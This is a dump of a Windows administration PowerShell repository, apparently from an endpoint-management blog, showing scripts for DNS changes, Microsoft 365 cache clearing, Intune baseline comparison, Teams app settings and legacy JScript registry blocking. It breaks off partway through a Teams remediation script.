├── Change-DNSServers.ps1 ├── Clear-Cache-Integrated-M365-Apps.ps1 ├── Compare-IntuneSecurityConfigs.ps1 ├── Config-TeamsAppSettings.ps1 ├── Configure-Registry-Legacy-JSScript.ps1 ├── Configure-TeamsAppSettings.ps1 ├── Configure-VPNProfile.ps1 ├── Connect-ConfigMgr-ISEAddons.ps1 ├── Create-Microsoft365AppsCollections.ps1 ├── Detect-LenovoVantageVulnerabilities.ps1 ├── Detect-LowDiskSpace.ps1 ├── Detect-PoShv2.ps1 ├── Detect-Registry-Legacy-JScript.ps1 ├── Detect-TeamsAppSettings.ps1 ├── Detect-VPNProfile.ps1 ├── Detect-WindowsHelloEnrollment.ps1 ├── Detection-DeleteShortcuts.ps1 ├── Disable-PoShV2.ps1 ├── Edit-HKCURegistryfromSystem.ps1 ├── Edit-HostsFile.ps1 ├── Enable-UEV.ps1 ├── Find-BrokenO365Clients.ps1 ├── Get-EmailsNotSentUsingTLS.ps1 ├── Get-Loot.ps1 ├── Get-WindowsHelloStatus.ps1 ├── Install-Configure-Sysmon.ps1 ├── Install-NewRDCMan.ps1 ├── Install-RSATv1809v1903v1909v2004v20H2.ps1 ├── Invoke-PSScriptAsUser.ps1 ├── Invoke-RemindUsersToUpdateiOS.ps1 ├── Keylogger.ps1 ├── Mount-DriversWIM.ps1 ├── README.md ├── Remediate-LenovoVantageVulnerabilities.ps1 ├── Remediation-DeleteShortcuts.ps1 ├── Run-LSUClientModule-OSD.ps1 ├── Set-VPNStrategy.ps1 ├── Test-DomainVPNConnectivity.ps1 ├── Test-LTEConnectivity.ps1 ├── Uninstall-Application.ps1 ├── Uninstall-EverythingZoom.ps1 └── iAM-Compliance-Domain-Admins.ps1 /Change-DNSServers.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Set or change configured DNS server addresses. Something I created as I needed to change DNS servers on a large scale of servers. 4 | Intended to be used with ConfigMgr for automation purposes. 5 | 6 | .DESCRIPTION 7 | Same as above 8 | 9 | .NOTES 10 | Filename: Change-DNSServers.ps1 11 | Version: 1.0 12 | Author: Martin Bengtsson 13 | Blog: www.imab.dk 14 | Twitter: @mwbengtsson 15 | 16 | .LINK 17 | https://www.imab.dk/set-primary-and-secondary-dns-server-addresses-using-configmgr-and-powershell/ 18 | #> 19 | 20 | param( 21 | [Parameter(Mandatory=$true)] 22 | [string]$primDNS, 23 | [Parameter(Mandatory=$true)] 24 | [string]$secDNS, 25 | [Parameter(Mandatory=$false)] 26 | [string]$addressFam = "IPv4" 27 | ) 28 | begin { 29 | function Get-InterfaceIndex() { 30 | # Finding net adapters which is Up and ConnectorPresent is TRUE 31 | $netAdaptUp = Get-NetAdapter | Where-Object {$_.Status -eq "Up" -AND $_.ConnectorPresent -eq $True} 32 | if (-NOT[string]::IsNullOrEmpty($netAdaptUp)) { 33 | Write-Output $netAdaptUp.ifIndex 34 | Write-Output $netAdaptUp.InterfaceDescription 35 | } 36 | } 37 | function Change-DNSServers($fIfIndex,$fAddressFam,$fPrimDNS,$fSecDNS) { 38 | # Setting the primDNS and secDNS to 0 will result in a reset to default DNS server addresses 39 | if (($primDNS -eq 0) -OR ($secDNS -eq 0)) { 40 | Write-Verbose -Verbose -Message "priDNS and secDNS is null. Resetting DNS server addresses to default on $global:ifDescription" 41 | try { 42 | Set-DnsClientServerAddress -InterfaceIndex $fIfIndex -ResetServerAddresses 43 | } 44 | catch { 45 | Write-Verbose -Verbose -Message "Failed to run -ResetServerAddresses" 46 | } 47 | } 48 | else { 49 | $currentDNS = Get-DnsClientServerAddress -AddressFamily $fAddressFam -InterfaceIndex $fIfIndex | Where-Object {$_.ServerAddresses -notcontains $fPrimDNS} 50 | if (-NOT[string]::IsNullOrEmpty($currentDNS)) { 51 | try { 52 | Set-DnsClientServerAddress -InterfaceIndex $fIfIndex -ServerAddresses ("$fPrimDNS","$fSecDNS") 53 | Write-Verbose -Verbose -Message "successfully changed the DNS servers on $global:ifDescription to primDNS: $primDNS and secDNS: $secDNS" 54 | } 55 | catch { 56 | Write-Verbose -Verbose -Message "Failed to change the DNS servers on $global:ifDescription" 57 | } 58 | } 59 | else { 60 | Write-Verbose -Verbose -Message "No changes to DNS on $global:ifDescription required. Doing nothing." 61 | } 62 | } 63 | } 64 | } 65 | process { 66 | $ifIndex = (Get-InterfaceIndex)[0] 67 | $global:ifDescription = (Get-InterfaceIndex)[1] 68 | Change-DNSServers -fIfIndex $ifIndex -fAddressFam $addressFam -fPrimDNS $primDNS -fSecDNS $secDNS 69 | } 70 | end { 71 | #Nothing to see here 72 | } 73 | -------------------------------------------------------------------------------- /Clear-Cache-Integrated-M365-Apps.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | This script clears the cache for specified Microsoft 365 applications, such as Outlook and other Office apps (Excel, Word, PowerPoint). 4 | 5 | .PARAMETER OfficeApp 6 | Specifies the Microsoft 365 application whose cache should be cleared. Valid values are "Outlook" and "Other". 7 | 8 | .DESCRIPTION 9 | The script deletes the cache files for the specified Microsoft 365 application to potentially resolve issues related to cached data. 10 | For Outlook, it clears the cache located in the HubAppFileCache directory. For other Office apps (Excel, Word, PowerPoint), it clears the cache located in the Wef directory. 11 | 12 | .EXAMPLE 13 | .\Clear-Cache-Integrated-M365-Apps.ps1 -OfficeApp "Outlook" 14 | Deletes the cache for Outlook. 15 | 16 | .EXAMPLE 17 | .\Clear-Cache-Integrated-M365-Apps.ps1 -OfficeApp "Other" 18 | Deletes the cache for other Office apps (Excel, Word, PowerPoint). 19 | 20 | .NOTES 21 | Author: Martin Bengtsson 22 | Blog: https://www.imab.dk 23 | #> 24 | param ( 25 | [parameter(Mandatory=$false)] 26 | [ValidateSet("Outlook", "Other")] 27 | [string]$OfficeApp 28 | ) 29 | $appsCacheOutlook = "$env:LOCALAPPDATA\Microsoft\Outlook\HubAppFileCache" 30 | $appsCacheExcelWordPpt = "$env:LOCALAPPDATA\Microsoft\Office\16.0\Wef" 31 | switch ($OfficeApp) { 32 | "Outlook" { 33 | try { 34 | if (Test-Path $appsCacheOutlook) { 35 | Remove-Item -Path $appsCacheOutlook -Recurse -Force 36 | Write-Output "Outlook cache deleted." 37 | } else { 38 | Write-Output "Outlook cache not found." 39 | } 40 | } catch { 41 | Write-Output "Failed to delete Outlook cache: $_" 42 | } 43 | } 44 | "Other" { 45 | try { 46 | if (Test-Path $appsCacheExcelWordPpt) { 47 | Remove-Item -Path $appsCacheExcelWordPpt -Recurse -Force 48 | Write-Output "Office cache deleted." 49 | } else { 50 | Write-Output "Office cache not found." 51 | } 52 | } catch { 53 | Write-Output "Failed to delete Office cache: $_" 54 | } 55 | } 56 | } -------------------------------------------------------------------------------- /Compare-IntuneSecurityConfigs.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Compare Security Configurations in Microsoft Endpoint Manager Intune 4 | 5 | .DESCRIPTION 6 | Compare Security Baselines or any other configuration made in the Endpoint security node of Microsoft Endpoint Manager Intune 7 | 8 | .NOTES 9 | Filename: Compare-IntuneSecurityConfigs.ps1 10 | Version: 1.0 11 | Author: Martin Bengtsson 12 | Blog: www.imab.dk 13 | Twitter: @mwbengtsson 14 | 15 | .LINK 16 | https://www.imab.dk/comparing-security-baselines-in-endpoint-manager-using-powershell-and-microsoft-graph/ 17 | #> 18 | 19 | $originalProfileName = "Security Baseline - Windows 10 1903" 20 | $modifiedProfileName = "Security Baseline - Windows 10 - August 2020 - Default Values" 21 | 22 | function Compare-IntuneSecurityConfigs() { 23 | [CmdletBinding()] 24 | param( 25 | [Parameter(Mandatory=$true)] 26 | [ValidateNotNullOrEmpty()] 27 | [string]$originalProfileName, 28 | [ValidateNotNullOrEmpty()] 29 | [Parameter(Mandatory=$true)] 30 | [string]$modifiedProfileName 31 | ) 32 | begin { 33 | $uri = "https://graph.microsoft.com/beta/deviceManagement/intents" 34 | $securityConfigs = (Invoke-MSGraphRequest -Url $uri -HttpMethod GET).Value 35 | $returnReport = @() 36 | $differentiatingSettings = @() 37 | } 38 | process { 39 | foreach ($config in $securityConfigs) { 40 | Write-Host -ForegroundColor Red $config.displayName 41 | if ($config.displayName -eq $originalProfileName) { 42 | Write-Host -ForegroundColor Green $config.displayName 43 | Write-Host -ForegroundColor Green $config.Id 44 | $originalConfigSettings = Invoke-MSGraphRequest -Url "https://graph.microsoft.com/beta/deviceManagement/intents/$($config.id)/settings" 45 | $originalSettings = @() 46 | foreach ($originalConfigSetting in $originalConfigSettings.value) { 47 | $originalConfigSettingDisplayName = $originalConfigSetting.definitionId -replace "deviceConfiguration--","" -replace "admx--","" -replace "_"," " 48 | $originalConfigSetting = [PSCustomObject]@{ SettingName = $originalConfigSettingDisplayName; Value = $originalConfigSetting.value; Id = $originalConfigSetting.id } 49 | $originalSettings += $originalConfigSetting 50 | } 51 | $originalSettingsCount = $originalSettings.count 52 | $returnReport += "Original Security Configuration Name: $($config.displayName)" 53 | $returnReport += "Original Settings Count: $originalSettingsCount" 54 | } 55 | if ($config.displayName -eq $modifiedProfileName) { 56 | Write-Host -ForegroundColor Green $config.displayName 57 | Write-Host -ForegroundColor Green $config.Id 58 | $modifiedConfigSettings = Invoke-MSGraphRequest -Url "https://graph.microsoft.com/beta/deviceManagement/intents/$($config.id)/settings" 59 | $modifiedSettings = @() 60 | foreach ($modifiedConfigSetting in $modifiedConfigSettings.value) { 61 | $modifiedConfigSettingDisplayName = $modifiedConfigSetting.definitionId -replace "deviceConfiguration--","" -replace "admx--","" -replace "_"," " 62 | $modifiedConfigSetting = [PSCustomObject]@{ SettingName = $modifiedConfigSettingDisplayName; Value = $modifiedConfigSetting.value; Id = $modifiedConfigSetting.id } 63 | $modifiedSettings += $modifiedConfigSetting 64 | } 65 | $modifiedSettingsCount = $modifiedSettings.Count 66 | $returnReport += "Modified Security Configuration Name: $($config.displayName)" 67 | $returnReport += "Modified Settings Count: $modifiedSettingsCount" 68 | } 69 | } 70 | if (-NOT[string]::IsNullOrEmpty($originalSettings) -AND (-NOT[string]::IsNullOrEmpty($modifiedSettings))) { 71 | try { 72 | $compare = Compare-Object -ReferenceObject $originalSettings.SettingName -DifferenceObject $modifiedSettings.SettingName 73 | } 74 | catch { 75 | Write-Verbose -Verbose -Message "Comparison of profiles failed" ; break 76 | } 77 | } 78 | if (-NOT[string]::IsNullOrEmpty($compare)) { 79 | $returnReport += "***********************************************" 80 | $returnReport += "TOTAL CHANGES($($compare.count)):" 81 | foreach ($change in $compare) { 82 | if ($change.SideIndicator -eq "=>") { 83 | $returnReport += "ADDED IN $modifiedProfileName : $($change.InputObject)" 84 | } 85 | if ($change.SideIndicator -eq "<=") { 86 | $returnReport += "REMOVED IN $modifiedProfileName : $($change.InputObject)" 87 | } 88 | } 89 | } 90 | else { 91 | # nothing 92 | } 93 | foreach ($origSetting in $originalSettings) { 94 | foreach ($modSetting in $modifiedSettings) { 95 | if ($origSetting.SettingName -eq $modSetting.SettingName) { 96 | if ($origSetting.Value -ne $modSetting.Value) { 97 | $differentiatingValues = $true 98 | $differentiatingSettings += $origSetting.SettingName 99 | $returnReport += "***********************************************" 100 | $returnReport += "SETTING: $($origSetting.SettingName) has differentiating values!!" 101 | $compareValue = Compare-Object -ReferenceObject $origSetting.Value -DifferenceObject $modSetting.Value 102 | if (-NOT[string]::IsNullOrEmpty($compareValue)) { 103 | foreach ($change in $compareValue) { 104 | if ($change.SideIndicator -eq "=>") { 105 | $returnReport += "CONFIGURED IN $modifiedProfileName : $($change.InputObject)" 106 | } 107 | if ($change.SideIndicator -eq "<=") { 108 | $returnReport += "CONFIGURED IN $originalProfileName : $($change.InputObject)" 109 | } 110 | } 111 | # Tried something, didn't work. Keeping for future reference. 112 | #$originalResult = $compareValue.inputobject[0] 113 | #$modifiedResult = $compareValue.inputobject[1] 114 | #$returnReport += $compareValue 115 | #$returnReport += "PROFILE NAME: $originalProfileName has SETTING: $($origSetting.SettingName) configured to $originalResult" 116 | #$returnReport += "PROFILE NAME: $modifiedProfileName has SETTING: $($modSetting.SettingName) configured to $modifiedResult" 117 | } 118 | } 119 | } 120 | } 121 | } 122 | } 123 | end { 124 | if (-NOT[string]::IsNullOrEmpty($returnReport)) { 125 | Write-Output $returnReport 126 | try { 127 | $returnReport | Out-File -FilePath $env:TEMP\Compare-IntuneSecurityConfigs.txt -Force -Encoding UTF8 128 | } 129 | catch { 130 | Write-Verbose -Verbose -Message "Failed to create report as .txt file" 131 | } 132 | if (Test-Path -Path $env:TEMP\Compare-IntuneSecurityConfigs.txt) { 133 | Invoke-Item -Path $env:TEMP\Compare-IntuneSecurityConfigs.txt 134 | } 135 | } 136 | } 137 | } 138 | 139 | Compare-IntuneSecurityConfigs -originalProfileName $originalProfileName -modifiedProfileName $modifiedProfileName 140 | 141 | -------------------------------------------------------------------------------- /Config-TeamsAppSettings.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Manage the 5 different application settings in Microsoft Teams for Windows 4 | 5 | .DESCRIPTION 6 | Manage the 5 different application settings in Microsoft Teams for Windows, which currently consists of: 7 | 8 | - Auto-start application 9 | - Open application in background 10 | - On close, keep the application running 11 | - Disable GPU hardware acceleration 12 | - Register Teams as the chat app for Office 13 | 14 | .EXAMPLE 15 | 16 | .\Config-TeamsAppSettings.ps1 -openAsHidden $true -openAtLogin $true -runningOnClose $true -disableGpu $false -registerAsIMProvider $false 17 | 18 | .NOTES 19 | Filename: Config-TeamsAppSettings.ps1 20 | Version: 1.0 21 | Author: Martin Bengtsson 22 | Blog: www.imab.dk 23 | Twitter: @mwbengtsson 24 | 25 | .LINK 26 | https://www.imab.dk/configure-microsoft-teams-application-settings-using-configuration-manager-and-powershell 27 | 28 | #> 29 | 30 | [CmdletBinding()] 31 | param( 32 | [Parameter(Mandatory=$true)] 33 | [ValidateSet($true,$false)] 34 | [bool]$openAsHidden, 35 | 36 | [Parameter(Mandatory=$true)] 37 | [ValidateSet($true,$false)] 38 | [bool]$openAtLogin, 39 | 40 | [Parameter(Mandatory=$true)] 41 | [ValidateSet($true,$false)] 42 | [bool]$runningOnClose, 43 | 44 | [Parameter(Mandatory=$true)] 45 | [ValidateSet($true,$false)] 46 | [bool]$disableGpu, 47 | 48 | [Parameter(Mandatory=$true)] 49 | [ValidateSet($true,$false)] 50 | [bool]$registerAsIMProvider 51 | ) 52 | 53 | function Get-TeamsDesktopConfig() { 54 | $registryPath = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" 55 | $configPath = "$env:APPDATA\Microsoft\Teams\desktop-config.json" 56 | $teamsInstalled = Get-ChildItem -Path $registryPath -Recurse | Get-ItemProperty | Where-Object {$_.DisplayName -eq "Microsoft Teams" } | Select-Object Displayname,InstallLocation,DisplayVersion 57 | if ($teamsInstalled) { 58 | $displayName = $teamsInstalled.DisplayName 59 | $installLocation = $teamsInstalled.InstallLocation 60 | $appVersion = $teamsInstalled.DisplayVersion 61 | Write-Verbose -Verbose -Message "Application: $displayName is installed in $installLocation. Application version is $appVersion" 62 | if (Test-Path -Path $installLocation) { 63 | Write-Verbose -Verbose -Message "Teams installation found in $installLocation" 64 | if (Test-Path -Path $configPath) { 65 | Write-Verbose -Verbose -Message "Teams config found in $configPath" 66 | $true 67 | $configPath 68 | $installLocation 69 | } 70 | else { 71 | Write-Verbose -Verbose -Message "Teams config file not found" 72 | $false 73 | } 74 | } 75 | else { 76 | Write-Verbose -Verbose -Message "Teams install location not found" 77 | $false 78 | } 79 | } 80 | else { 81 | Write-Verbose -Verbose -Message "Microsoft Teams application not installed" 82 | $false 83 | } 84 | } 85 | 86 | function Stop-Teams() { 87 | if (Get-Process Teams) { 88 | Write-Verbose -Verbose -Message "Teams is running. Trying to stop the process" 89 | try { 90 | Stop-Process -Name Teams -Force 91 | Write-Verbose -Verbose -Message "Teams process successfully stopped" 92 | $true 93 | } 94 | catch { 95 | Write-Verbose -Verbose -Message "Failed to stop Teams" 96 | $false 97 | } 98 | } 99 | else { 100 | Write-Verbose -Verbose -Message "Teams is not running. Doing nothing" 101 | $true 102 | } 103 | } 104 | 105 | $getTeamsDesktopConfig = Get-TeamsDesktopConfig 106 | $getTeamsDesktopConfigStatus = $getTeamsDesktopConfig[0] 107 | $teamsConfigPath = $getTeamsDesktopConfig[1] 108 | $teamsInstallLocation = $getTeamsDesktopConfig[2] 109 | 110 | if ($getTeamsDesktopConfigStatus -eq $True) { 111 | try { 112 | Write-Verbose -Verbose -Message "Getting content of Teams config file at $teamsConfigPath" 113 | $teamsConfigContent = Get-Content -Path $teamsConfigPath 114 | } 115 | catch { 116 | Write-Verbose -Verbose -Message "Failed to get content of Teams config file at $teamsConfigPath. Breaking script" 117 | break 118 | } 119 | if ($teamsConfigContent) { 120 | try { 121 | Write-Verbose -Verbose -Message "Converting Teams config content from JSON format" 122 | $json = ConvertFrom-Json -InputObject $teamsConfigContent 123 | } 124 | catch { 125 | Write-Verbose -Verbose -Message "Failed to convert config content from JSON format. Breaking script" 126 | Write-Verbose -Verbose -Message "Make sure Microsoft Teams is launched between doing changes to the config file to properly format the content" 127 | break 128 | } 129 | if ($json) { 130 | $stopTeams = Stop-Teams 131 | if ($stopTeams -eq $true) { 132 | try { 133 | Write-Verbose -Verbose -Message "Modifying Teams setting: OpenAsHidden. Setting value to $openAsHidden" 134 | $json.appPreferenceSettings.OpenAsHidden = $openAsHidden 135 | 136 | Write-Verbose -Verbose -Message "Modifying Teams setting: OpenAtLogin. Setting value to $openAtLogin" 137 | $json.appPreferenceSettings.OpenAtLogin = $openAtLogin 138 | 139 | Write-Verbose -Verbose -Message "Modifying Teams setting: RunningOnClose. Setting value to $runningOnClose" 140 | $json.appPreferenceSettings.RunningOnClose = $runningOnClose 141 | 142 | Write-Verbose -Verbose -Message "Modifying Teams setting: disableGpu. Setting value to $disableGpu" 143 | $json.appPreferenceSettings.disableGpu = $disableGpu 144 | } 145 | catch { 146 | Write-Verbose -Verbose -Message "Failed to modify Teams settings" 147 | } 148 | try { 149 | Write-Verbose -Verbose -Message "Modifying Teams setting: registerAsIMProvider. Setting value to $registerAsIMProvider" 150 | $json.appPreferenceSettings.registerAsIMProvider = $registerAsIMProvider 151 | 152 | if ($registerAsIMProvider -eq $true) { 153 | $imProviders = "HKCU:\SOFTWARE\IM Providers" 154 | if (Test-Path -Path $imProviders) { 155 | New-ItemProperty -Path $imProviders -Name DefaultIMApp -Value Teams -PropertyType STRING -Force 156 | } 157 | } 158 | elseif ($registerAsIMProvider -eq $false) { 159 | $imProviders = "HKCU:\SOFTWARE\IM Providers" 160 | $teamsIMProvider = "HKCU:\SOFTWARE\IM Providers\Teams" 161 | if (Test-Path -Path $teamsIMProvider) { 162 | $previousDefaultIMApp = (Get-ItemProperty -Path $teamsIMProvider -Name PreviousDefaultIMApp -ErrorAction SilentlyContinue).PreviousDefaultIMApp 163 | if ($previousDefaultIMApp) { 164 | New-ItemProperty -Path $imProviders -Name DefaultIMApp -Value $previousDefaultIMApp -PropertyType STRING -Force 165 | } 166 | else { 167 | Remove-ItemProperty -Path $imProviders -Name DefaultIMApp -ErrorAction SilentlyContinue 168 | } 169 | } 170 | } 171 | } 172 | catch { 173 | Write-Verbose -Verbose -Message "Failed to modify Teams setting: registerAsIMProvider" 174 | } 175 | try { 176 | Write-Verbose -Verbose -Message "Creating and converting new content to Teams config file" 177 | $newContent = $json | ConvertTo-Json 178 | $newContent | Set-Content -Path $teamsConfigPath 179 | Write-Verbose -Verbose -Message "Successfully applied new content to Teams config file at $teamsConfigPath" 180 | } 181 | catch { 182 | Write-Verbose -Verbose -Message "Failed to create and convert new content to Teams config file" 183 | } 184 | if (($newContent) -AND ($teamsInstallLocation)) { 185 | try { 186 | Write-Verbose -Verbose -Message "Launching Microsoft Teams post processing config changes" 187 | Start-Process -FilePath $teamsInstallLocation\Current\Teams.exe 188 | } 189 | catch { 190 | Write-Verbose -Verbose -Message "Failed to launch Microsoft Teams post processing config changes" 191 | } 192 | } 193 | } 194 | } 195 | } 196 | } 197 | Write-Verbose -Verbose -Message "Script is done running. Thank you" 198 | -------------------------------------------------------------------------------- /Configure-Registry-Legacy-JSScript.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | This script will configure all the specific registry keys within the configured path, to the set value 4 | 5 | This is currently tailored directly towards replacing the GPO: MSFT Microsoft 365 Apps v2206 - Legacy JScript Block - Computer 6 | With a few adjustments, this can be used to configure any registry key and value 7 | 8 | .DESCRIPTION 9 | Same as above 10 | 11 | .NOTES 12 | Filename: Configure-Legacy-JScript-Registry.ps1 13 | Version: 1.0 14 | Author: Martin Bengtsson 15 | Blog: www.imab.dk 16 | Twitter: @mwbengtsson 17 | 18 | .LINK 19 | https://www.imab.dk/use-group-policy-analytics-to-move-microsoft-365-apps-security-baseline-to-the-cloud 20 | #> 21 | 22 | #region Functions 23 | function Test-RegistryKeyValue() { 24 | [CmdletBinding()] 25 | param( 26 | [Parameter(Mandatory=$true)] 27 | # The path to the registry key where the value should exist 28 | [string]$registryPath, 29 | [Parameter(Mandatory=$true)] 30 | # The name of the registry key 31 | [string]$registryName 32 | ) 33 | if (-NOT(Test-Path -Path $registryPath -PathType Container)) { 34 | return $false 35 | } 36 | $registryProperties = Get-ItemProperty -Path $registryPath 37 | if (-NOT($registryProperties)) { 38 | return $false 39 | } 40 | $member = Get-Member -InputObject $registryProperties -Name $registryName 41 | if (-NOT[string]::IsNullOrEmpty($member)) { 42 | return $true 43 | } 44 | else { 45 | return $false 46 | } 47 | } 48 | 49 | function Remove-RegistryKeyValue() { 50 | [CmdletBinding(SupportsShouldProcess=$true)] 51 | param( 52 | [Parameter(Mandatory=$true)] 53 | # The path to the registry key where the value should be removed 54 | [string]$registryPath, 55 | [Parameter(Mandatory=$true)] 56 | # The name of the value to remove 57 | [string]$registryName 58 | ) 59 | if ((Test-RegistryKeyValue -Path $registryPath -Name $registryName)) { 60 | if ($pscmdlet.ShouldProcess(('Item: {0} Property: {1}' -f $registryPath,$registryName),'Remove Property')) { 61 | Remove-ItemProperty -Path $removePath -Name $removeName 62 | } 63 | } 64 | } 65 | 66 | function Install-RegistryKey() { 67 | [CmdletBinding(SupportsShouldPRocess=$true)] 68 | param( 69 | [Parameter(Mandatory=$true)] 70 | # The path to the registry key to create 71 | [string]$registryPath 72 | ) 73 | if (-NOT(Test-Path -Path $registryPath -PathType Container)) { 74 | New-Item -Path $registryPath -ItemType RegistryKey -Force | Out-String | Write-Verbose 75 | } 76 | } 77 | 78 | function Set-RegistryKeyValue() { 79 | [CmdletBinding(SupportsShouldPRocess=$true,DefaultParameterSetName='String')] 80 | param( 81 | [Parameter(Mandatory=$true)] 82 | # The path to the registry key where the value should be set. Will be created if it doesn't exist. 83 | [string]$registryPath, 84 | [Parameter(Mandatory=$true)] 85 | # The name of the value being set. 86 | [string]$registryName, 87 | [Parameter(Mandatory=$true,ParameterSetName='String')] 88 | [AllowEmptyString()] 89 | [AllowNull()] 90 | # The value's data. Creates a value for holding string data (i.e. `REG_SZ`). If `$null`, the value will be saved as an empty string. 91 | [string]$String, 92 | [Parameter(ParameterSetName='String')] 93 | # The string should be expanded when retrieved. Creates a value for holding expanded string data (i.e. `REG_EXPAND_SZ`). 94 | [Switch]$Expand, 95 | [Parameter(Mandatory=$true,ParameterSetName='Binary')] 96 | # The value's data. Creates a value for holding binary data (i.e. `REG_BINARY`). 97 | [byte[]]$Binary, 98 | [Parameter(Mandatory=$true,ParameterSetName='DWord')] 99 | # The value's data. Creates a value for holding a 32-bit integer (i.e. `REG_DWORD`). 100 | [int]$DWord, 101 | [Parameter(Mandatory=$true,ParameterSetName='DWordAsUnsignedInt')] 102 | # The value's data as an unsigned integer (i.e. `UInt32`). Creates a value for holding a 32-bit integer (i.e. `REG_DWORD`). 103 | [uint32]$UDWord, 104 | [Parameter(Mandatory=$true,ParameterSetName='QWord')] 105 | # The value's data. Creates a value for holding a 64-bit integer (i.e. `REG_QWORD`). 106 | [long]$QWord, 107 | [Parameter(Mandatory=$true,ParameterSetName='QWordAsUnsignedInt')] 108 | # The value's data as an unsigned long (i.e. `UInt64`). Creates a value for holding a 64-bit integer (i.e. `REG_QWORD`). 109 | [uint64]$UQWord, 110 | [Parameter(Mandatory=$true,ParameterSetName='MultiString')] 111 | # The value's data. Creates a value for holding an array of strings (i.e. `REG_MULTI_SZ`). 112 | [string[]]$Strings, 113 | # Removes and re-creates the value. Useful for changing a value's type. 114 | [Switch]$Force 115 | ) 116 | 117 | $value = $null 118 | $type = $pscmdlet.ParameterSetName 119 | switch -Exact ($pscmdlet.ParameterSetName) { 120 | 'String' { 121 | $value = $String 122 | if ($Expand) { 123 | $type = 'ExpandString' 124 | } 125 | } 126 | 'Binary' { $value = $Binary } 127 | 'DWord' { $value = $DWord } 128 | 'QWord' { $value = $QWord } 129 | 'DWordAsUnsignedInt' { 130 | $value = $UDWord 131 | $type = 'DWord' 132 | } 133 | 'QWordAsUnsignedInt' { 134 | $value = $UQWord 135 | $type = 'QWord' 136 | } 137 | 'MultiString' { $value = $Strings } 138 | } 139 | 140 | Install-RegistryKey -registryPath $registryPath 141 | 142 | if ($Force) { 143 | Remove-RegistryKeyValue -registryPath $registryPath -registryName $Name 144 | } 145 | 146 | if (Test-RegistryKeyValue -registryPath $registryPath -registryName $Name) { 147 | $currentValue = Get-RegistryKeyValue -registryPath $registryPath -registryName $Name 148 | if ($currentValue -ne $value) { 149 | Write-Verbose -Message ("[{0}@{1}] {2} -> {3}'" -f $registryPath,$registryName,$currentValue,$value) 150 | Set-ItemProperty -Path $registryPath -Name $registryName -Value $value 151 | } 152 | } 153 | else { 154 | Write-Verbose -Message ("[{0}@{1}] -> {2}'" -f $registryPath,$registryName,$value) 155 | $null = New-ItemProperty -Path $registryPath -Name $registryName -Value $value -PropertyType $type 156 | } 157 | } 158 | #endregion 159 | 160 | #region Variables 161 | # Path to the relevant area in registry 162 | $registryPath = "HKLM:\SOFTWARE\Policies\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_RESTRICT_LEGACY_JSCRIPT_PER_SECURITY_ZONE" 163 | # All names of relevant registry keys 164 | $registryNames = @( 165 | "excel.exe" 166 | "msaccess.exe" 167 | "mspub.exe" 168 | "onenote.exe" 169 | "outlook.exe" 170 | "powerpnt.exe" 171 | "visio.exe" 172 | "winproj.exe" 173 | "winword.exe" 174 | ) 175 | #endregion 176 | 177 | #region Execution 178 | try { 179 | # Looping through each registry value- This means all registry keys are being configured to the set value 180 | foreach ($name in $registryNames) { 181 | Set-RegistryKeyValue -registryPath $registryPath -registryName $name -DWord 69632 182 | } 183 | Write-Output "[All good]. Registry keys has been configured to the set value" 184 | exit 0 185 | } 186 | catch { 187 | Write-Output "[Not good]. Something went wrong when trying to configure the registry keys. Please investigate" 188 | exit 1 189 | } 190 | #endregion -------------------------------------------------------------------------------- /Configure-TeamsAppSettings.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Manage various application settings in Microsoft Teams for Windows. 4 | 5 | This script is used as remediation script with Proactive Remediations in Microsoft Endpoint Manager 6 | 7 | .DESCRIPTION 8 | Manage various application settings in Microsoft Teams for Windows, which currently consists of: 9 | 10 | - Auto-start application 11 | - Open application in background 12 | - On close, keep the application running 13 | - Disable GPU hardware acceleration 14 | - Register Teams as the chat app for Office 15 | - Application language 16 | - Application theme 17 | 18 | .NOTES 19 | Filename: Configure-TeamsAppSettings.ps1 20 | Version: 1.0 21 | Author: Martin Bengtsson 22 | Blog: www.imab.dk 23 | Twitter: @mwbengtsson 24 | 25 | .LINK 26 | https://www.imab.dk/configure-microsoft-teams-application-settings-using-proactive-remediations-in-microsoft-endpoint-manager-and-powershell 27 | 28 | #> 29 | #region parameters 30 | param( 31 | [ValidateSet($true,$false)] 32 | [bool]$openAsHidden = $true, 33 | [ValidateSet($true,$false)] 34 | [bool]$openAtLogin = $true, 35 | [ValidateSet($true,$false)] 36 | [bool]$runningOnClose = $true, 37 | [ValidateSet($true,$false)] 38 | [bool]$disableGpu = $false, 39 | [ValidateSet($true,$false)] 40 | [bool]$registerAsIMProvider = $true, 41 | [string]$appLanguage = "da-dk", 42 | [string]$appTheme = "darkV2", # Possible values are darkV2, defaultV2, contrast 43 | [string]$cookieFile = "$env:APPDATA\Microsoft\Teams\Cookies" 44 | ) 45 | #endregion 46 | #region functions 47 | # Function to retrieve Teams config and install location 48 | function Get-TeamsDesktopConfig() { 49 | $registryPath = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" 50 | $configPath = "$env:APPDATA\Microsoft\Teams\desktop-config.json" 51 | $teamsInstalled = Get-ChildItem -Path $registryPath -Recurse | Get-ItemProperty | Where-Object {$_.DisplayName -eq "Microsoft Teams" } | Select-Object Displayname,InstallLocation,DisplayVersion 52 | if (-NOT[string]::IsNullOrEmpty($teamsInstalled)) { 53 | $displayName = $teamsInstalled.DisplayName 54 | $installLocation = $teamsInstalled.InstallLocation 55 | $appVersion = $teamsInstalled.DisplayVersion 56 | Write-Verbose -Verbose -Message "Application: $displayName is installed in $installLocation. Application version is $appVersion" 57 | if (Test-Path -Path $installLocation) { 58 | Write-Verbose -Verbose -Message "Teams installation found in $installLocation" 59 | if (Test-Path -Path $configPath) { 60 | Write-Verbose -Verbose -Message "Teams config found in $configPath" 61 | $configPath 62 | $installLocation 63 | } 64 | } 65 | } 66 | else { 67 | Write-Verbose -Verbose -Message "Microsoft Teams application not installed" 68 | $false 69 | } 70 | } 71 | # Function to stop the Teams process 72 | function Stop-Teams() { 73 | if (Get-Process Teams -ErrorAction SilentlyContinue) { 74 | Write-Verbose -Verbose -Message "Teams is running. Trying to stop the 